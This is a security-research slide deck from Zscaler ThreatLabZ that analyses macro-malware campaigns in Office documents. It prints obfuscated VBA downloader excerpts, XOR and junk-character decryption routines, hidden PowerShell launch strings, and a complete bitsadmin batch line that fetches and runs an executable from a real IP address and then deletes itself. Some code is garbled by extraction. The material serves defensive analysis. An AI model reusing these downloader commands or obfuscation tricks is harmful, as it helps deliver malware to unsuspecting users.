Stagecraft of malicious office documents: A look at recent campaigns

Deepen Desai, VP, Security Research, Zscaler
Deepen Desai

- Head of ThreatLabZ, the security research arm of Zscaler
- 14 years in the field of security research
- Previous experience at Dell SonicWALL, iPolicy Networks
Agenda

• Threat landscape & macro malware evolution
• Office document footprint in enterprise traffic
• Campaign study approach
• Look at campaigns
Thriving underground economy

Initial delivery vector (pay-per-click or pay-per-install revenue)
- Compromised websites
- Malvertising
- Botnet
- Phishing campaigns

Exploit and delivery payloads (pay-per-install revenue)
- Exploit Kits
- Dropper payloads

Malware payloads
- Ransomware & scareware
- RAT & infostealers
- Coin miners
Evolution of macro malware

- Macro malware extremely prevalent in early 2000s
- Microsoft disabled macros by default in Office 2007
- Resurgence of macro malware with attacks focusing on users
- Evasive macro malware and multistage payloads
- Microsoft adds new feature in Office 2016 to block macros in high-risk scenarios
Office documents – overall vs. malicious

• Enterprise transactions involving Office documents – approx. 1 million/day

Overall Office documents [monthly avg.]

Malicious Office documents [monthly avg.]
Typical infection lifecycle

Malspam or targeted campaigns
- Invoices, shipping labels, bank statements, e-mails with link or attachment

Malicious Office documents
- Embedded macro to download and execute malware

Network & system fingerprinting
- System analysis
  - ID research tools
  - Activity tracking
- Social engineering to run macro
- Encrypted or secret message

Malware payload
- RAT/infostealer
- Ransomware
- Coinminers, fileless infection
Study approach

- Detailed analysis of ~1,200 malicious documents during past two years, which had very low antivirus detections
- Manual analysis as well as sandboxing results
- Campaign definition
  - Little broad
  - Looked at URLs, file names, time frame, vulnerability exploit used, code obfuscation, code encryption and evasion/anti-analysis techniques used to cluster payloads
  - Focus on malicious documents usage for malware delivery
- Tools used
  - oletools, sandbox for macro emulation, Ollydbg, biffview, Office 2007/2013
Campaign #1 - ProtectedMacro

• Malicious documents with password protected macro code and VBA form properties to store encrypted downloader code.

• Observed this campaign starting from Jul 2017 and is still active.


• Observed three variants in this campaign.
Campaign #1 – ProtectedMacro Variant 1&2

• In the first variant, the PowerShell code parts are stored in VBA form properties like form caption or text box.

```vba
Function pPjzJp()
    fSRT = objdt.TextBox1
    ldSr = "$arig"
    if Jsrj$ = ldSr + fSRT
    Sec Jodj$ = CreateObject("W" + JfJerj$)
    Jodjr.Run Csfj, 0
End Function
```

• In the second variant, the PowerShell code is encrypted and stored in VBA form TextBox. TextBox controls are hidden by setting positional values as negative.
Campaign #1 – ProtectedMacro Variant 2

- The PowerShell code is encrypted by inserting junk characters and changing the ASCII value.

```powershell
import re
decrypted_powershellCode = ""
decrypted_powershellCode = re.sub("\b[ZM]+\b", "", decrypted_powershellCode)
```

- The PowerShell code creates a batch file in %TMP% folder with name as Xvepvm.bat and run this batch file. The batch file will download the final payload.

```powershell
```
Campaign #1 – ProtectedMacro Variant 3

- In the third variant, a BITSAdmin command line tool was used to download malware. The macro code contains useless variables and loops as an anti-analysis measure.

```vbnet
Dim Contrerasbaptistsoverlain As String
Dim anointssymposiumssymposiums As Integer
anointssymposiumssymposiums = 946
Do While anointssymposiumssymposiums < 5065
    anointssymposiumssymposiums = anointssymposiumssymposiums + 7
Loop

Dim reconnectsfloodlightedMycenaeas As Integer
reconnectsfloodlightedMycenaeas = 1065
Do While reconnectsfloodlightedMycenaeas < 5208
    reconnectsfloodlightedMycenaeas = reconnectsfloodlightedMycenaeas + 29
Loop
```

- The BITSAdmin command is encrypted by inserting junk uppercase characters [A-Z].

```
DHCYZGKCpKKiVRnSMPgCRS-FnEX1YG0KJIWB1JVV2UTV7RSP.IOBB.U0XL.O1U>LYVnBuJIYJY&JMDbGKiWtURsiHRBdRVWmRiDEnLKCR/DVtRQKrHlaWnWBEsDKfVAGeXrCQPMQbTaKRGcTkPuXpBDGP/HEJdZNoPwOFnAPIYLSorAaNFFfFJ/HVZpQrVEXiJRORrViJYtJyDNXXShNUCiXgKBhCFXPBOHXQhGGtYZNtALG
```
Campaign #1 - ProtectedMacro Variant 3

• Replaces the content of the current document with a BITSAdmin command and saves the file as a batch file in the %APPDATA% folder.

```
ping -n 10 127.0.0.1>nul & bitsadmin /transfer:backup /download:priority:high http://185.148.146.207/capture.zp "%appdata%\zwiebacksmarriageaims.exe">nul & cd "%appdata%" & start zwiebacksmarriageaims.exe & del "%~f0"
```

```
ActiveDocument.SaveAs2 FileName:=keepstautologyrevolutions, FileFormat:=wdFormatDOSText
```

• Does not work in Microsoft Office 2007 since it is using ActiveDocument.SaveAs2 method, which is only present in Microsoft Office 2010 and above versions.
The campaign name LeetMX is derived from the fact that the payloads involved were using leet text encoding for the file names.

We observed this campaign starting from September 2017 to June 2018.


<table>
<thead>
<tr>
<th>Leet filenames</th>
<th>Decoded</th>
</tr>
</thead>
<tbody>
<tr>
<td>Off1cc3k3yV411ds.exe</td>
<td>OfficekeyValid.exe</td>
</tr>
<tr>
<td>BITD3F3nder65.exe</td>
<td>BITDeFendergs.exe</td>
</tr>
<tr>
<td>J4v4s0ck3t50v3r5371n5.exe</td>
<td>Javasocketoversetins.exe</td>
</tr>
<tr>
<td>Fl4shR4nsstmp465.exe</td>
<td>FlashRansstmpags.exe</td>
</tr>
<tr>
<td>JavA46541.exe</td>
<td>JavAagsai.exe</td>
</tr>
<tr>
<td>Off1c3TMP2018.exe</td>
<td>OfficeTMP2oi8.exe</td>
</tr>
<tr>
<td>J4v4S3tups00.exe</td>
<td>JavaSetupsoo.exe</td>
</tr>
</tbody>
</table>
Campaign #2 – LeetMX Variant 1

- First variant using BITSAdmin to download the final payload.
- Uses a simple ASCII value to character conversion for decrypting the BITSAdmin command string.
- To delay the execution, it uses junk loops.

```vbscript
Dim whbjcbrb As String
whbjcbrb = "2269804"
While whbjcbrb <> 8429501
    If whbjcbrb = "2269804" Then
        hiw = hiw & ChrW(fjxbcnk.unzmyzgc) & ChrW(fjxbcnk.tumsi) 'Ascii to character conversion
        whbjcbrb = "7435348"
    End If
    ChrW(fjxbcnk.ivyswc) 'Junk code
    If whbjcbrb = "8287201" Then 'Junk code
        Dim ejumo As String 'Junk code
        ejumo = "6807262" 'Junk code
        End If 'Junk code
```
The second variant used PowerShell for downloading the final payload. The PowerShell code was encrypted using the XOR and 22 characters key.

```vbnet
Public Function decrypt(key As String, encrypted As String) As String
    Dim i As Long
    Dim decrypted_text As String
    Dim encrypted_char As Integer
    Dim key_char As Integer
    For i = 1 To Len(encrypted) / 2
        val_i = Mid$(encrypted, 2 * i - 1, 2)
        encrypted_char = Val("~H" & val_i)
        key_char = Asc(Mid$(key, (i Mod Len(key)) + 1), 1))
        decrypted_text = decrypted_text + Chr(encrypted_char Xor key_char)
    Next i
    decrypt = decrypted_text
End Function
```
In the third variant, a VBScript control was used to run the downloader code. The downloader code used "Microsoft.XMLHTTP" for downloading the final payload. The downloader code is encrypted using junk characters.

```vbnet
Private SC1 As New ScriptControl
Private str1 As String

Private Sub Home()
    SC1.Language = Character("VBòScròipt")
    Dim str2 As String: str2 = Character("htòtpò:/ò/adòoveflòashpòlayòermxcus"
    AppendString str1, Character("Sòùb Maòin()")"
    AppendString str1, ""Dim s1 : s1 = Replace(’” & Haraxer(33) & ”ScrXyZiptiXy"
    AppendString str1, ""Dim s2 : s2 = Replace(’” & Haraxer(33) & ”MicXyZros0XY"
    AppendString str1, ""Dim s3 : s3 = Replace(’” & Haraxer(33) & ”AdXyZodб.StX"
    AppendString str1, ""Dim s4 : s4 = Replace(’” & Haraxer(33) & ”GXYZET” & He"
    AppendString str1, ""Dim s5 : s5 = Replace(’” & Haraxer(33) & str2 & Haraxe"
    AppendString str1, ""Dim s6 : s6 = Replace(’” & Haraxer(33) & ”WSXy2criXyZy"
Campaign #3 - OverlayCode

- Document payloads where an encrypted PowerShell code was appended to the file.

- We observed this campaign starting from Aug 2017 until Feb 2018.
Campaign #3 – OverlayCode Variant 1

• Searches the encrypted PowerShell code using the bookmark “505442534C43344A5554574D4D31565031” upon execution.

```vbnet
Dim H_K As String
Dim EJ_UnV As String
Dim j LTE As Long
Dim UI_O As String
Dim iFile As Integer: iFile = FreeFile
Open ActiveDocument.FullName For Binary As #iFile
    UI_C = Split(Input(LOF(iFile), iFile), "505442534C43344A5554574D4D31565031")
Close #iFile
GoTo x2
:1:
    Shell H_K, vbHide
    GoTo x3
```

• The PowerShell code is encrypted using the ASCII value substitution method.

```vbnet
For i = 1 To Len(encrypted_code) Step 2
    encrypted_char = Chr("xH" & Mid(encrypted_code, i, 2))  e.g. - 0x7D
    decrypted_code = decrypted_code & Chr(Asc(encrypted_char) - 13)  e.g. - 0x70
Next
```
Campaign #3 – OverlayCode Variant 2

- Second variant was an Excel document that used a similar file structure for the embedded PowerShell code.

- Uses the identical method to extract the encrypted code.

```powershell
On Error GoTo QWQIKgNNFWsgxgIzElHTnokkghk
NJRbS01TFihwnaQzXQNSDREWDeURHo = Shell(QFQlbrvn, 1ZscVuSbOKuiaRYIxzzOibureNdnO)
On Error GoTo 0 QFQlbrvn = "powershell.exe -executionpolicy bypass -WindowStyle Hidden -napr...
DoEvents

RhedcaChidMP = OpenProcess(&H100000, 0, NJRbS01TFihwnaQzXQNSDREWDeURHo)
If RhedcaChidMP <> 0 Then
    WaitForSingleObject RhedcaChidMP, &HFFFFFFFF
CloseHandle RhedcaChidMP
```

- OpenProcess and WaitForSingleObject windows APIs were used.
### Campaign #3 – OverlayCode Variant 2

- **RunOnce and Self-Delete functionality**

#### File opened first time

```vbnet
Dim ACQfQqUzbxF As String
Dim XYFHpFqeK As String
ACQfQqUzbxF = StrConv(StrConv(gYnEBtRMA1QxumiCKgVp(UBound(gYnEBtRMA1QxumiCKgVp)), 64), 128)
XYFHpFqeK = Mid$(ACQfQqUzbxF, 3, Len(ACQfQqUzbxF))

biwuBU = YxFBOZqOZX("yCqXZSZlIrTujoTAXyjBPPYyK", XYFHpFqeK)

biwuBU = "powershell.exe -executionpolicy bypass -WindowStyle Hidden -noprof..."
```

#### File opened second time

```vbnet
Dim gYnEBtRMA1QxumiCKgVp
Dim gYnEBtRMA1QxumiCKgVp = Split(XXLVJqPmKmmKYYRESodVdDbgHQkQ, "BILKZGntj:

Dim biwuBU As String
Dim ACQfQqUzbxF As String
Dim XYFHpFqeK As String
ACQfQqUzbxF = StrConv(StrConv(gYnEBtRMA1QxumiCKgVp(UBound(gYnEBtRMA1QxumiCKgVp)), 64), 128)
XYFHpFqeK = Mid$(ACQfQqUzbxF, 3, Len(ACQfQqUzbxF))

biwuBU = YxFBOZqOZX("yCqXZSZlIrTujoTAXyjBPPYyK"
```

![Error](image_url)
Campaign #3 – OverlayCode Variant 2

- No function in macro code that deletes overlay data
- Self-Deletion works even if file is just opened
- Parsed excel file in Biffview and found that it has WRITEACCESS record

<table>
<thead>
<tr>
<th>BIFF</th>
<th>Offset</th>
<th>records</th>
<th>16 00 06 05 00 54 38 CD 07 C1 C0 01 00 06 07 00 00</th>
</tr>
</thead>
<tbody>
<tr>
<td>BOF</td>
<td>809h</td>
<td>INTERFACEDHDR</td>
<td>(E1h) 2 B0 04</td>
</tr>
<tr>
<td>MMS</td>
<td>C1h</td>
<td>INTERFACEEND</td>
<td>(E2h) 0</td>
</tr>
<tr>
<td>WRITEACCESS</td>
<td>5Ch</td>
<td>112 06 00 00</td>
<td>6E 6F 72 6D 61 6E 20 20 20 20 20 20 20 20</td>
</tr>
</tbody>
</table>

- Junk data in WRITEACCESS record which makes excel to update the WRITEACCESS record with username that last opened it.
Campaign #5 - HideInProperty

- PowerShell code hidden using built-in and custom document properties
- This campaign was prevalent from Jul 2017 to Mar 2018
- Dropping and installing Win32.Banker.Emotet
Campaign #5 – HideInProperty variants

- Obfuscated PowerShell command strings stored in custom properties

- Uses formatted string technique to build final PowerShell code
Key Takeaways

• Several encryption methods to evade signature detection.
• PowerShell is a popular choice for downloading the final payload.
• New methods to detect sandbox and emulators.
• Multistage macro codes are used to hide the end payload.
• **Cloud Sandbox** remains the most effective layer against these payloads.
CLICK ENABLE CONTENT

IF YOU HAVE ANY QUESTIONS?!
In an open forum with Zscaler employees, partners, and customers

Your knowledge and learn from experts in cloud security

The conversation at community.zscaler.com
Thank You